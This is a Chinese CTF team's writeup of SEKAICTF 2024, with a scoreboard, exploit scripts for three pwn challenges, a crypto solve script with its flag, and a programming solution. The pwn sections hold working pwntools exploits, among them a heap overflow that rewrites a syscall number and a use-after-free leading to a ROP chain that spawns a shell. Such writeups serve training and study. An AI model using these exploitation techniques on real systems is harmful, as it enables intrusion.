SEKAICTF 2024 Writeup –Polaris战队

WriteUp 1周前 admin
91 0 0

本次 SEKAICTF 2024,我们Polaris战队排名第55。

排名

队伍

总分

51

dtl

1003

52

${cystick}

974

53

Kal3

973

54

traP

939

55

Polaris

925

56

h4tum

913

57

Hack@Sec

903

58

Slug Security

877

59

Zer0Tolerance

865

60

Arr3stY0u

861

01

PWN

1

nolibc

SEKAICTF 2024 Writeup --Polaris战队

自己实现的malloc有缺陷,导致我把所有的内存分配得只剩下0x40,然后申请0x3f的时候,造成了溢出,而内存下面相邻的是系统调用号,覆盖后可修改

SEKAICTF 2024 Writeup --Polaris战队
SEKAICTF 2024 Writeup --Polaris战队

通过调试发现在load文件的时候,调用了open,可以控制rdi,同时rsi和rdx都是0,正好符合execve(“/bin/sh”,0,0)的要求

SEKAICTF 2024 Writeup --Polaris战队
SEKAICTF 2024 Writeup --Polaris战队

exp

#!/usr/bin/env python# -*- encoding: utf-8 -*-'''@File    :   pwn1.py@Time    :   2024/08/24 13:11:28@Author  :   5ma11wh1t3@Contact :   197489628@qq.com'''

from pwn import *# from LibcSearcher import *context.terminal = ['tmux','splitw','-h']context.log_level=Truecontext.arch='amd64'elf_path = './main'debug = 1if debug:    p = process(elf_path)    # p = process([elf_path,ld_path],env={'LD_PRELOAD':libc_path})    # p = process(elf_path,env={'LD_PRELOAD':libc_path})    # p = process([libc_path,elf_path])else:    remote_addr = 'nolibc.chals.sekai.team:1337'    remote_addr = remote_addr.split(':')    remote_addr[1] = eval(remote_addr[1])    # remote('nolibc.chals.sekai.team',1337,ssl=True)    p=remote(remote_addr[0],remote_addr[1],ssl=True)
# ld_path = ''# libc_path = ''# libc = ELF(libc_path)elf = ELF(elf_path)ru = lambda x : p.recvuntil(x)sn = lambda x : p.send(x)rl = lambda   : p.recvline()sl = lambda x : p.sendline(x)rv = lambda x : p.recv(x)sa = lambda a,b : p.sendafter(a,b)sla = lambda a,b : p.sendlineafter(a,b)def debug():    gdb.attach(p)    pause()def lg(s,addr = None):    if addr:        print('33[1;31;40m[+]  %-15s  --> 0x%8x33[0m'%(s,addr))    else:        print('33[1;32;40m[-]  %-20s 33[0m'%(s))def register(username,password):    sla(b'Choose an option: ','2')    sla(b'Username: ',username)    sla(b'Password: ',password)def login(username,password):    sla(b'Choose an option: ','1')    sla(b'Username: ',username)    sla(b'Password: ',password)def exit():    sla(b'Choose an option: ','3')def add(size,data):    sla(b'Choose an option: ','1')    sla(b'Enter string length: ',str(size))    sla(b'Enter a string: ',data)def dele(idx):    sla(b'Choose an option: ','2')    sla(b'Enter the index of the string to delete: ',str(idx))def show():    sla(b'Choose an option: ','3')def save(file):    sla(b'Choose an option: ','4')    sla(b'Enter the filename: ',file)def load(file):    sla(b'Choose an option: ','5')    sla(b'Enter the filename: ',file)def logout():    sla(b'Choose an option: ','6')if __name__ == '__main__':    register("admin","123")    login("admin","123")
   for i in range(0xaa):        add(0x100, str(i).encode())    # debug()    add(0x3f, b'0' * 0x30 + p32(0) + p32(1)+p32(59)+p32(3))    debug()    dele(0)    load("/bin/sh")
   p.interactive()

2

speedpwn

根据程序特性泄漏 libc 地址,然后使用 house of cat 完成利用。

#!/usr/bin/env python3# -*- coding:utf-8 -*-
from pwn import *context.clear(arch='amd64', os='linux', log_level='info')def fight_bot(bit:bool):    sh.sendlineafter(b'> ', b'f')    sh.recvuntil(b'Bot plays ')    value = int(sh.recvuntil(b'!', drop=True))    if bit:        sh.sendlineafter(b': ', b'-1')    else:        sh.sendlineafter(b': ', b'0')def write_bit(value:int, bit_num:int):    for i in range(bit_num):        if value & 1:            fight_bot(True)        else:            fight_bot(False)        value >>= 1def write_word(value:int):    write_bit(value, 64)def reseed():    sh.sendlineafter(b'> ', b'r')def judge(value:int) -> bool:    sh.sendlineafter(b'> ', b's')    sh.sendlineafter(b'Bot number: ', b'-')    sh.sendlineafter(b'Player number: ', str(value).encode())    sh.recvuntil(b'Simulation result: ')    result = sh.recvuntil(b'!', drop=True)    if (result == b'Bot win'):        return False    elif (result == b'You win'):        return Truesh = remote('speedpwn.chals.sekai.team', 1337, ssl=True)# Stage one -> leak bit numberbit_number_range = 16bit_number = 32while bit_number_range:    value = int('1' * bit_number + '0' * (64-bit_number), 2)    if judge(value):        bit_number -= bit_number_range        bit_number_range //= 2    else:        bit_number += bit_number_range        bit_number_range //= 2if judge(int('1' * bit_number + '0' * (64-bit_number), 2)) == True:    bit_number -= 1success('bit_number: ' + str(bit_number))# Stage two -> leak libcleak_addr = 0x7000000005c2start_bit = 12need_leak_bit = bit_number - bin(leak_addr).count('1')while need_leak_bit:    if judge((int('1' * (need_leak_bit) + '0', 2) << start_bit) + leak_addr):        start_bit += 1 # 0 Bit    else:        leak_addr += (1 << start_bit)        start_bit += 1 # 1 Bit        need_leak_bit -= 1libc_addr = leak_addr - 0x955c2success('libc_addr: ' + hex(libc_addr))# Stage three -> Hijack IOpayload = flat({0:p16(0x8080) + b';sh0', 0x10:p64(0x404088), 0x18:p64(1), 0x20:p64(2), 0xc0:p64(1), 0xa0:p64(0x404088), 0xd8:p64(libc_addr+0x202228+8), 0xe0:p64(0x404158), 0xe8:p64(libc_addr + 0x58740)}, filler=b'0', length=0xf0)while payload:    tmp = payload[:8]    write_word(u64(tmp))    payload = payload[8:]reseed()
sh.interactive()

3

Life Simulator 2

漏洞1:在 sell_company 函数中,当公司经费为0时,可以被强行出售。此时 company 和 project 都被 free 了,但是 worker 没有被释放,从而导致 UAF漏洞。

漏洞2:在 generate_profit 函数中,当 this->number_of_workers() 是个很大的数时, pow 函数将计算出一个非常大的值,从而使得 generate_profit 函数的返回值溢出,最终使 generate_profit 函数返回 0 。

uint64_t Project::generate_profit() {    return this->profit_per_week * std::pow((long double)PROFIT_RATIO, this->number_of_workers());}
void Company::elapse_week() {    uint64_t total_profit = 0;    for(auto it : this->projects) {        total_profit += it->generate_profit() - it->worker_pay();    }    this->company_budget += total_profit;    this->company_age += 1;}
void sell_company(std::istringstream& iss) {    std::string company_name = "";    iss >> company_name;    if(!iss.good()) {        std::cerr << "ERR: Invalid Value" << std::endl;        return;    }    Company *company_to_remove = nullptr;    for(auto it : companies) {        if(it->get_company_name() == company_name) {            company_to_remove = it;            break;        }    }    if(company_to_remove == nullptr) {        std::cerr << "ERR: Not Exist" << std::endl;        return;    }    if(!(company_to_remove->number_of_workers() == 0 || company_to_remove->get_company_budget() == 0)) {        std::cerr << "ERR: Not Allowed" << std::endl;        return;    }    total_net_worth += company_to_remove->get_company_budget();    companies.erase(std::remove(companies.begin(), companies.end(), company_to_remove), companies.end());    company_to_remove->remove_projects();    delete company_to_remove;    std::cerr << "INFO: Success" << std::endl;    return;}

综上所述,当申请很多 worker 之后,调用 elapse_week 时,因为利润的结果溢出,其结果始终为0,同时 elapse_week 还会减去每个 worker 的 salary,因此可以通过构造 worker 数量使得 company_budget 为 0,从而为之后 UAF 漏洞创造条件。

利用脚本

#!/usr/bin/env python3# -*- coding:utf-8 -*-
from pwn import *context.clear(arch='amd64', os='linux', log_level='debug')def add_company(company_name:bytes, company_budget:int):    sh.sendline(b'add_company ' + company_name + b' ' + str(company_budget).encode())    sh.recvuntil(b'INFO: Success')def sell_company(company_name:bytes):    sh.sendline(b'sell_company ' + company_name)    sh.recvuntil(b'INFO: Success')def add_project(company_name:bytes, project_name:bytes, project_profit_per_week:int):    sh.sendline(b'add_project ' + company_name + b' ' + project_name + b' ' + str(project_profit_per_week).encode())    sh.recvuntil(b'INFO: Success')def remove_project(company_name:bytes, project_name:bytes):    sh.sendline(b'remove_project ' + company_name + b' ' + project_name)    sh.recvuntil(b'INFO: Success')def hire_worker(company_name:bytes, project_name:bytes, worker_name:bytes, salary:int):    sh.sendline(b'hire_worker ' + company_name + b' ' + project_name + b' ' + worker_name + b' ' + str(salary).encode())    sh.recvuntil(b'INFO: Success')def fire_worker(worker_name:bytes):    sh.sendline(b'fire_worker ' + worker_name)    sh.recvuntil(b'INFO: Success')def move_worker(worker_name:bytes, project_name:bytes):    sh.sendline(b'move_worker ' + worker_name + b' ' + project_name)    sh.recvuntil(b'INFO: Success')def worker_info(worker_name:bytes):    sh.sendline(b'worker_info ' + worker_name)def elapse_week():    sh.sendline(b'elapse_week')sh = remote('life-simulator-2.chals.sekai.team', 1337, ssl=True)add_company(b'xmcve', 1000)add_project(b'xmcve', b'p1', 1000000)for i in range(40):    hire_worker(b'xmcve', b'p1', b'w' + str(i).encode(), 25)elapse_week() # Turn company->company_budget to 0sell_company(b'xmcve')add_company(b'padding', 1000)add_company(b'xmcve', 1000)add_company(cyclic(0x400), 1000)sell_company(cyclic(0x400))add_company(b'c0', 1000)add_company(b'c1', 1000)add_company(b'c2', 1000)add_company(b'c3', 1000)add_company(b'c4', 1000)add_project(b'c0', b'p0', 1000000)add_project(b'c1', b'p1', 1000000)add_project(b'c2', b'p2', 1000000)add_project(b'c3', b'p3', 1000000)add_project(b'c4', b'p4', 1000000)add_company(b'c5', 1000)hire_worker(b'c0', b'p0', b'c0', 25)hire_worker(b'c1', b'p1', b'c1', 25)add_project(b'c5', b'p5', 1000000)add_project(b'xmcve', b'p0', 1000000)add_company(cyclic(0x400), 1000)sell_company(cyclic(0x400))worker_info(b'w0')sh.recvuntil(b'Company name: ')heap_addr = u64(sh.recvn(8)) - 0x165f0success('heap_addr: ' + hex(heap_addr))sh.recvn(8)libc_addr = u64(sh.recvn(8)) - 0x203b30success('libc_addr: ' + hex(libc_addr))hire_worker(b'c0', b'p0', b'e' *0xe, 25)sell_company(b'xmcve')sell_company(b'c5')hire_worker(b'c0', b'p0', p64(libc_addr + 0x20ad58) + p64(8) + b'f' *0x28, 25)hire_worker(b'c2', b'p2', b'c2', 25)hire_worker(b'c3', b'p3', b'c3', 25)hire_worker(b'c3', b'p3', b'c33', 25)worker_info(b'w0')sh.recvuntil(b'Project name: ')stack_addr = u64(sh.recvn(8))success('stack_addr: ' + hex(stack_addr))fire_worker(p64(libc_addr + 0x20ad58) + p64(8) + b'f' *0x28)hire_worker(b'c0', b'p0', p64(libc_addr + 0x20ad58) + p64(8) + b'g' *0x28, 25)fake_company = flat({    0x30:p64(heap_addr+0x15970), 0x38:p64(heap_addr+0x15978), 0x40:p64(heap_addr+0x15978), # vector}, filler=b'0', length=0x48)fake_company_vector_content = flat([heap_addr+0x15980])fake_project = flat({    0x0:p64(heap_addr+0x15990), 0x8:p64(4), 0x10:b'abcd'.ljust(0x10, b'0'), # string    0x28:p64(heap_addr+0x10), 0x30:p64(heap_addr+0x10), 0x38:p64(heap_addr+0x10), # vector}, filler=b'0', length=0x48)hire_worker(b'c0', b'p0', flat({0x0: fake_company[0x18:], 0x40:fake_company_vector_content, 0x50:fake_project}, filler=b'0', length=0x400), 25)move_worker(b'w0', b'abcd') # free heap_addr+0x10 --> tcache pthreadsh.sendline(flat({0x19*2:1, 40*2+0x1f*8:p64(stack_addr-0x4f8)}, filler=b'0', length=0x280))sh.sendline(flat([    0,    libc_addr + 0x000000000002882f, # ret    libc_addr + 0x000000000010f75b, # pop rdi; ret;    libc_addr + 0x1cb42f, # "/bin/sh"    libc_addr + 0x58740, # system], filler=b'0', length=0x1a0))
sh.interactive()

02

Crypto

1

some trick

import randomfrom secrets import randbelow, randbitsfrom flag import FLAGCIPHER_SUITE = randbelow(2**256)print(f"oPUN_SASS_SASS_l version 4.0.{CIPHER_SUITE}")random.seed(CIPHER_SUITE)GSIZE = 8209GNUM = 79LIM = GSIZE**GNUMdef gen(n):    p, i = [0] * n, 0    for j in random.sample(range(1, n), n - 1):        p[i], i = j, j    return tuple(p)def gexp(g, e):    res = tuple(g)    while e:        if e & 1:            res = tuple(res[i] for i in g)        e >>= 1        g = tuple(g[i] for i in g)    return resdef enc(k, m, G):    if not G:        return m    mod = len(G[0])    return gexp(G[0], k % mod)[m % mod] + enc(k // mod, m // mod, G[1:]) * moddef inverse(perm):    res = list(perm)    for i, v in enumerate(perm):        res[v] = i    return resG = [gen(GSIZE) for i in range(GNUM)]FLAG = int.from_bytes(FLAG, 'big')left_pad = randbits(randbelow(LIM.bit_length() - FLAG.bit_length()))FLAG = (FLAG << left_pad.bit_length()) + left_padFLAG = (randbits(randbelow(LIM.bit_length() - FLAG.bit_length()))        << FLAG.bit_length()) + FLAGbob_key = randbelow(LIM)bob_encr = enc(FLAG, bob_key, G)print("bob says", bob_encr)alice_key = randbelow(LIM)alice_encr = enc(bob_encr, alice_key, G)print("alice says", alice_encr)bob_decr = enc(alice_encr, bob_key, [inverse(i) for i in G])print("bob says", bob_decr)

分析代码,先看主体干了什么,发现FLAG被填充前后都被填充了,然后可以很快的发现生成了三段密文,分别是bob_enc,alice_enc,bob_decr,可以看到三段密文都是enc函数生成的,我们去看一下enc函数

def enc(k, m, G):    if not G:        return m    mod = len(G[0])    return gexp(G[0], k % mod)[m % mod] + enc(k // mod, m // mod, G[1:]) * mod

观察enc函数,你可以很快的发现首先它是一个递归函数,很明显有一个判断条件,就是当不在G的时候程序停止返回输出,否则他会递归,每次递归的变化如下:

gexp(G[0], k % mod)[m % mod] + enc(k // mod, m // mod, G[1:]) * mod在这里面可以看到有一个gexp函数,我们去看一下这个函数

def gexp(g, e):    res = tuple(g)    while e:        if e & 1:            res = tuple(res[i] for i in g)        e >>= 1        g = tuple(g[i] for i in g)    return res

显而易见你不用管这个函数,首先没随机数,根据你输入的g,e规定,这两个你都知道,所以这个就是对逆输入的G进行变换成为一个新的G,其实这个G就是一个排列,也就是S盒

def gen(n):    p, i = [0] * n, 0    for j in random.sample(range(1, n), n - 1):        p[i], i = j, j    return tuple(p)

然后回到前面的函数你会发现,每次递归需要找到S盒的首行某个值的索引,这里面这个值就是key mod 8209,然后每次递归得到的数据需要乘一下8209在加上S盒索引所对应的值也是就在G中所对应的值,所以我们得到的密文最后会是((((((x8209)+y)8209)+y)8209)+y)……….)8209+y,所以我们的可以根据这个把每次去到的G里面的值都得到,我们要求的就是他的索引,这个索引在enc函数是key mod 8209得到的,所以我们可以反推回去得到key,这里面有个比较关键的地方我们传入的第一个数据必须要是已知明文这样我们才能找key因为明文限制了S盒的生成使用G值的脚本

def key_mod_8029(res):    s=[]    while (res):        s.append(res%8209)        res//=8209    return s

这时候我们只需要稍微修改一下enc脚本使其变成最后加起来的东西只有这些索引就好了,不过要注意的是不要让索引值+在递归函数前面要不然根据运算规则会先从左到右+导致数据加多了去寻找索引就出现问题,数据就有问题了

def dec(k, res, G):    if not G:        return [0]    mod = len(G[0])    return dec(k // mod, res[1:], G[1:])+[gexp(G[0], k % mod).index(res[0])]

然后就是恢复key,根据前面所说的规则生成

def key_replay(res):    a=0    for i in res:        a=a*8209+i    return a

然后我们就能找到alice_key,然后我们去看bob_key,前面也说了需要知道前面的已知明文所以只能用bob_decr去解密然后就知道两个key,那我们去恢复明文,这下子我们知道了key,那我们传入bob_key的话因为整体不是很大8209,我们就可以爆破一下匹配传入每次在gen函数取余传入的明文是多少

def dec1(res,key,G):    a=[]    if not G:        return [0]    for i in range(8209):        if gexp(G[0],i)[key%8209]==res[0]:            print(i)            a.append(i)    return dec1(res[1:],key//8209 ,G[1:])

然后用key_replay函数恢复一下就好了,不过注意下这边得到的数组需要逆向相加,因为我没递归直接返回值,而是生成一个数组,因为知道FLAG是前后有随机数中间可能会有flag在然后爆破一下找低位看到了很像flag的玩意

27887110439548179837945284065479407005671984418227744307030297585766676421518051725820730881303094307602205264926431534545591400990734997978646260585798939930398586856703150064008768662739131299115425991133646456082485455073198522787353032367591607142340524576787860298767828999348122114b"xbbx89x8bx18xc9x7fxffxab8xe7^Vx93MXOxf6Mxb5;xf7hx11xbdx9ahxa9h)/fxecf&Fx8cf,FL,xacLxccx87,xa6x86g,l&,fxe6x86Lx86FxccG&xa6xe6xe7&Fx8cFxac&'x06Fffxe7x06x06Gx0cflxacx86xa7,x86xec,x87&Lx86/xb7xeax98x08Txbfxa5xb4x8bxeftxa8xdexdfx00xf2xe9oxcexf3xd1Krx02"b"xbbx89x8bx18xc9x7fxffxab8xe7^Vx93MXOxf6Mxb5;xf7hx11xbdx9ahxa9h)/fxecf&Fx8cf,FL,xacLxccx87,xa6x86g,l&,fxe6x86Lx86FxccG&xa6xe6xe7&Fx8cFxac&'x06Fffxe7x06x06Gx0cflxacx86xa7,x86xec,x87&Lx86/xb7xeax98x08Txbfxa5xb4x8bxeftxa8xdexdfx00xf2xe9oxcexf3xd1Krx02"b"]xc4xc5x8cdxbfxffxd5x9csxaf+Ixa6xac'xfb&xdax9dxfbxb4x08xdexcd4Txb4x14x97xb3v3x13#F3x16#&x16V&fCx96SC3x966x13x163sC&C#f#x93Sssx93#F#Vx13x13x83#33sx83x03#x8636VCSx96Cvx16Cx93&Cx17xdbxf5Lx04*_xd2xdaExf7xbaToox80ytxb7xe7yxe8xa5xb9x01"b'.xe2bxc62_xffxeaxce9xd7x95xa4xd3Vx13xfdx93mNxfdxdax04ofx9a*ZnKxd9xbbx19x89x91xa3x19x8bx11x93x0b+x133!xcb)xa1x99xcbx1btx8bx19xb9xa1x93!x91xb3x11xc9xa9xb9xb9xc9x91xa3x11xabtx89xc1x91x99x99xb9xc1x81x91xc3x19x9b+!xa9xcb!xbbx0b!xc9x93!x8bxedxfaxa6x02x15/xe9m"xfbxdd*7xb7xc0<xba[xf3xbcxf4Rxdcx80'b'x17q1cx19/xffxf5gx1cxebxcaxd2ixabtxfexc9xb6xa7~xedx027xb3Mx15-x05%xecxddx8cxc4xc8xd1x8cxc5x88xc9x85x95x89x99x90xe5x94xd0xccxe5x8dx84xc5x8cxdcxd0xc9x90xc8xd9x88xe4xd4xdcxdcxe4xc8xd1x88xd5x84xc4xe0xc8xccxccxdcxe0xc0xc8xe1x8cxcdx95x90xd4xe5x90xddx85x90xe4xc9x90xc5xf6xfdSx01nx97xf4xb6x91}xeex95x1bxdbxe0x1e]-xf9xdez)n@'b'x0bxb8x98xb1x8cx97xffxfaxb3x8euxe5i4xd5x84xffdxdbSxbfvx81x1bxd9xa6x8ax96x82x92xf6nxc6bdhxc6bxc4dxc2xcaxc4xccxc8rxcahfrxc6xc2bxc6nhdxc8dlxc4rjnnrdhxc4jxc2bpdffnp`dpxc6fxcaxc8jrxc8nxc2xc8rdxc8bxfb~xa9x80x85Kxfa[Hxbexf7Jx8dxedxf0x0f.x96xfcxef=x14xb7 'b'x05xdcLXxc6KxffxfdYxc7:xf2xb4x9ajxc2x7fxb2mxa9xdfxbb@x8dxecxd3EKAI{7c124c1b2aebfd9e439ca1c742d26b9577924b5a1823378028c3ed59d7ad92d1}xbfTxc0Bxa5xfd-xa4_{xa5Fxf6xf8x07x97K~wx9ex8a[x90'b'x02xee&,c%xffxfexacxe3x9dyZM5a?xd96xd4xefxddxa0Fxf6ixa2xa5xa0xa4xbdx9bxb1x98x99x1a1x98xb1x190xb2xb132x1cxb2x9ax19x9cxb1xb0x98xb1x9bx9ax192x19x1b1x1cx9ax9bx9bx9cx99x1a1x1axb0x98x9cx19x19x99x9bx9cx18x19x1c1x99xb2xb2x1ax9cxb2x1bxb0xb2x1cx992x18xbexdfxaa`!Rxfex96xd2/xbdxd2xa3{|x03xcbxa5xbf;xcfE-xc8'b'x01wx13x161x92xffxffVqxcexbcxad&x9axb0x9fxecx9bjwxeexd0#{4xd1Rxd0R^xcdxd8xccLx8dx18xccXx8cx98YXx99x99x0eYMx0cxceXxd8LXxcdxcdx0cx99x0cx8dx98x8eMMxcdxceLx8dx18x8dXLNx0cx8cxccxcdxcex0cx0cx8ex18xccxd9YrNYrxd8Yx0eLx99x0c_oxd50x10xa9x7fKix17xdexe9Qxbdxbex01xe5xd2xdfx9dxe7xa2x96xe4'b"xbbx89x8bx18xc9x7fxffxab8xe7^Vx93MXOxf6Mxb5;xf7hx11xbdx9ahxa9h)/fxecf&Fx8cf,FL,xacLxccx87,xa6x86g,l&,fxe6x86Lx86FxccG&xa6xe6xe7&Fx8cFxac&'x06Fffxe7x06x06Gx0cflxacx86xa7,x86xec,x87&Lx86/xb7xeax98x08Txbfxa5xb4x8bxeftxa8xdexdfx00xf2xe9oxcexf3xd1Kr"b"]xc4xc5x8cdxbfxffxd5x9csxaf+Ixa6xac'xfb&xdax9dxfbxb4x08xdexcd4Txb4x14x97xb3v3x13#F3x16#&x16V&fCx96SC3x966x13x163sC&C#f#x93Sssx93#F#Vx13x13x83#33sx83x03#x8636VCSx96Cvx16Cx93&Cx17xdbxf5Lx04*_xd2xdaExf7xbaToox80ytxb7xe7yxe8xa5xb9"b'.xe2bxc62_xffxeaxce9xd7x95xa4xd3Vx13xfdx93mNxfdxdax04ofx9a*ZnKxd9xbbx19x89x91xa3x19x8bx11x93x0b+x133!xcb)xa1x99xcbx1btx8bx19xb9xa1x93!x91xb3x11xc9xa9xb9xb9xc9x91xa3x11xabtx89xc1x91x99x99xb9xc1x81x91xc3x19x9b+!xa9xcb!xbbx0b!xc9x93!x8bxedxfaxa6x02x15/xe9m"xfbxdd*7xb7xc0<xba[xf3xbcxf4Rxdc'b'x17q1cx19/xffxf5gx1cxebxcaxd2ixabtxfexc9xb6xa7~xedx027xb3Mx15-x05%xecxddx8cxc4xc8xd1x8cxc5x88xc9x85x95x89x99x90xe5x94xd0xccxe5x8dx84xc5x8cxdcxd0xc9x90xc8xd9x88xe4xd4xdcxdcxe4xc8xd1x88xd5x84xc4xe0xc8xccxccxdcxe0xc0xc8xe1x8cxcdx95x90xd4xe5x90xddx85x90xe4xc9x90xc5xf6xfdSx01nx97xf4xb6x91}xeex95x1bxdbxe0x1e]-xf9xdez)n'b'x0bxb8x98xb1x8cx97xffxfaxb3x8euxe5i4xd5x84xffdxdbSxbfvx81x1bxd9xa6x8ax96x82x92xf6nxc6bdhxc6bxc4dxc2xcaxc4xccxc8rxcahfrxc6xc2bxc6nhdxc8dlxc4rjnnrdhxc4jxc2bpdffnp`dpxc6fxcaxc8jrxc8nxc2xc8rdxc8bxfb~xa9x80x85Kxfa[Hxbexf7Jx8dxedxf0x0f.x96xfcxef=x14xb7'b'x05xdcLXxc6KxffxfdYxc7:xf2xb4x9ajxc2x7fxb2mxa9xdfxbb@x8dxecxd3EKAI{7c124c1b2aebfd9e439ca1c742d26b9577924b5a1823378028c3ed59d7ad92d1}xbfTxc0Bxa5xfd-xa4_{xa5Fxf6xf8x07x97K~wx9ex8a['b'x02xee&,c%xffxfexacxe3x9dyZM5a?xd96xd4xefxddxa0Fxf6ixa2xa5xa0xa4xbdx9bxb1x98x99x1a1x98xb1x190xb2xb132x1cxb2x9ax19x9cxb1xb0x98xb1x9bx9ax192x19x1b1x1cx9ax9bx9bx9cx99x1a1x1axb0x98x9cx19x19x99x9bx9cx18x19x1c1x99xb2xb2x1ax9cxb2x1bxb0xb2x1cx992x18xbexdfxaa`!Rxfex96xd2/xbdxd2xa3{|x03xcbxa5xbf;xcfE-'b'x01wx13x161x92xffxffVqxcexbcxad&x9axb0x9fxecx9bjwxeexd0#{4xd1Rxd0R^xcdxd8xccLx8dx18xccXx8cx98YXx99x99x0eYMx0cxceXxd8LXxcdxcdx0cx99x0cx8dx98x8eMMxcdxceLx8dx18x8dXLNx0cx8cxccxcdxcex0cx0cx8ex18xccxd9YrNYrxd8Yx0eLx99x0c_oxd50x10xa9x7fKix17xdexe9Qxbdxbex01xe5xd2xdfx9dxe7xa2x96'b"xbbx89x8bx18xc9x7fxffxab8xe7^Vx93MXOxf6Mxb5;xf7hx11xbdx9ahxa9h)/fxecf&Fx8cf,FL,xacLxccx87,xa6x86g,l&,fxe6x86Lx86FxccG&xa6xe6xe7&Fx8cFxac&'x06Fffxe7x06x06Gx0cflxacx86xa7,x86xec,x87&Lx86/xb7xeax98x08Txbfxa5xb4x8bxeftxa8xdexdfx00xf2xe9oxcexf3xd1K"b"]xc4xc5x8cdxbfxffxd5x9csxaf+Ixa6xac'xfb&xdax9dxfbxb4x08xdexcd4Txb4x14x97xb3v3x13#F3x16#&x16V&fCx96SC3x966x13x163sC&C#f#x93Sssx93#F#Vx13x13x83#33sx83x03#x8636VCSx96Cvx16Cx93&Cx17xdbxf5Lx04*_xd2xdaExf7xbaToox80ytxb7xe7yxe8xa5"b'.xe2bxc62_xffxeaxce9xd7x95xa4xd3Vx13xfdx93mNxfdxdax04ofx9a*ZnKxd9xbbx19x89x91xa3x19x8bx11x93x0b+x133!xcb)xa1x99xcbx1btx8bx19xb9xa1x93!x91xb3x11xc9xa9xb9xb9xc9x91xa3x11xabtx89xc1x91x99x99xb9xc1x81x91xc3x19x9b+!xa9xcb!xbbx0b!xc9x93!x8bxedxfaxa6x02x15/xe9m"xfbxdd*7xb7xc0<xba[xf3xbcxf4R'b'x17q1cx19/xffxf5gx1cxebxcaxd2ixabtxfexc9xb6xa7~xedx027xb3Mx15-x05%xecxddx8cxc4xc8xd1x8cxc5x88xc9x85x95x89x99x90xe5x94xd0xccxe5x8dx84xc5x8cxdcxd0xc9x90xc8xd9x88xe4xd4xdcxdcxe4xc8xd1x88xd5x84xc4xe0xc8xccxccxdcxe0xc0xc8xe1x8cxcdx95x90xd4xe5x90xddx85x90xe4xc9x90xc5xf6xfdSx01nx97xf4xb6x91}xeex95x1bxdbxe0x1e]-xf9xdez)'

进程已结束,退出代码0

完整exp

import randomfrom secrets import randbelow, randbitsfrom Cryptodome.Util.number import *CIPHER_SUITE =5856735718192672966225212630546045665679020834917236661169743409360745081692b1 =934535015385784972098018441829301227888268300482554572889937663972835689477317906590269550483816058279675056740632836110427165342116825918458562882459952965524045087097428340305468008069307089535207656651490741013829130388943184449967876591696491662942908809195857190028729699667883172408778919813286215678587a1 =1200023343219513263382590595000530709398044680494887232151068706332454900457993992785528158990834544878450058108341045830600802696148032561205251770283666006973167393948548197072049425715808993347674584378538883200268601390915839644385525216204736891481357328537881870321049952052453132654798693784947466776387b2 =1272441200473454987001701625665347128998267676768270586334850447786321082063417203439895347670890554611411858488237562330644466912578982684875984076535384996939506416271097344882332314135242565253987938022938597663163369675849841691494448925864719322424546037485802787986584090093449519504693373904532207187504'''bob says 934535015385784972098018441829301227888268300482554572889937663972835689477317906590269550483816058279675056740632836110427165342116825918458562882459952965524045087097428340305468008069307089535207656651490741013829130388943184449967876591696491662942908809195857190028729699667883172408778919813286215678587alice says 1200023343219513263382590595000530709398044680494887232151068706332454900457993992785528158990834544878450058108341045830600802696148032561205251770283666006973167393948548197072049425715808993347674584378538883200268601390915839644385525216204736891481357328537881870321049952052453132654798693784947466776387bob says 1272441200473454987001701625665347128998267676768270586334850447786321082063417203439895347670890554611411858488237562330644466912578982684875984076535384996939506416271097344882332314135242565253987938022938597663163369675849841691494448925864719322424546037485802787986584090093449519504693373904532207187504'''random.seed(CIPHER_SUITE)GSIZE = 8209GNUM = 79LIM = GSIZE ** GNUMdef gen(n):    p, i = [0] * n, 0    for j in random.sample(range(1, n), n - 1):        p[i], i = j, j    return tuple(p)def gexp(g, e):    res = tuple(g)    while e:        if e & 1:            res = tuple(res[i] for i in g)        e >>= 1        g = tuple(g[i] for i in g)    return resdef dec(k, res, G):    if not G:        return [0]    mod = len(G[0])    return dec(k // mod, res[1:], G[1:])+[gexp(G[0], k % mod).index(res[0])]def inverse(perm):    res = list(perm)    for i, v in enumerate(perm):        res[v] = i    return resG = [gen(GSIZE) for i in range(GNUM)]def key_mod_8029(res):    a=[]    while (res):        a.append(res%8209)        res//=8209    return adef key_replay(res):    a=0    for i in res:        a=a*8209+i    return adef dec1(res,key,G):    a=[]    if not G:        return [0]    for i in range(8209):        if gexp(G[0],i)[key%8209]==res[0]:            print(i)            a.append(i)    return dec1(res[1:],key//8209 ,G[1:])res = key_mod_8029(a1)alice_key = key_replay(dec(b1, res, G))res = key_mod_8029(b2)bob_key = key_replay(dec(a1, res, [inverse(i) for i in G]))res = key_mod_8029(b1)dec1(res, bob_key, G)a=(1936, 714, 7902, 2862, 958, 7, 4555, 5113, 5926, 3030, 2805, 6103, 3321, 7057, 2739, 2296, 6778, 5992, 2412, 5540, 7484, 5352, 6431, 2590, 6637, 4527, 4162, 5863, 1497, 2802, 4281, 4730, 7675, 1481, 6999, 6708, 1748, 3712, 126, 8111, 8071, 3535, 6725, 6717, 2231, 3087, 6844, 2080, 7716, 3681, 5834, 5903, 5666, 7767, 1112, 4696, 4728, 4675, 4655, 3456, 5558, 3019, 908, 7959, 5845, 2384, 4362, 2173, 5657, 604, 7247, 6713, 307, 5, 0, 0, 0, 0, 0)FLAG = key_replay(reversed(a))print(FLAG)print(long_to_bytes(FLAG))for i in range(20):    print(long_to_bytes(FLAG>>i))

SEKAI{7c124c1b2aebfd9e439ca1c742d26b9577924b5a1823378028c3ed59d7ad92d1}

1

Miku vs. Machine

n是人数,m是场数,l是每场演出时间

根据测试用例进行fuzz,发现校验的时候只需要满足每个人歌手的演出时间相同且每场演出换人次数小于等于一即可,演出时间自己定,假设每个歌手的总演出时间为x,那么要满足nx%m==0且ml = nx,所以直接取x=m,l=n,然后每个人依次安排即可

def miku_vs_machine(t, cases):    results = []    for n, m in cases:        # print(f"n {n}, m {m}")        a1 = [0 for i in range(n+1)]        idx = 0        t = 1        q = n        print(n)        for i in range(m):            if a1[idx] + n < m:                a1[idx] += n                print(f"{n} {idx+1} 0 {idx+1}")            elif a1[idx] + n >= m:                p = m-a1[idx]                print(f"{p} {idx+1} ",end="")                idx += 1                a1[idx] += n - p                if idx+1>n:                    print(f"{a1[idx]} {idx}")                else:                    print(f"{a1[idx]} {idx+1}")t = int(input())cases = []for _ in range(t):    n, m = map(int, input().split())    cases.append((n, m))
output = miku_vs_machine(t, cases)

文末:

欢迎师傅们加入我们:

星盟安全团队纳新群1:222328705

星盟安全团队纳新群2:346014666

有兴趣的师傅欢迎一起来讨论!

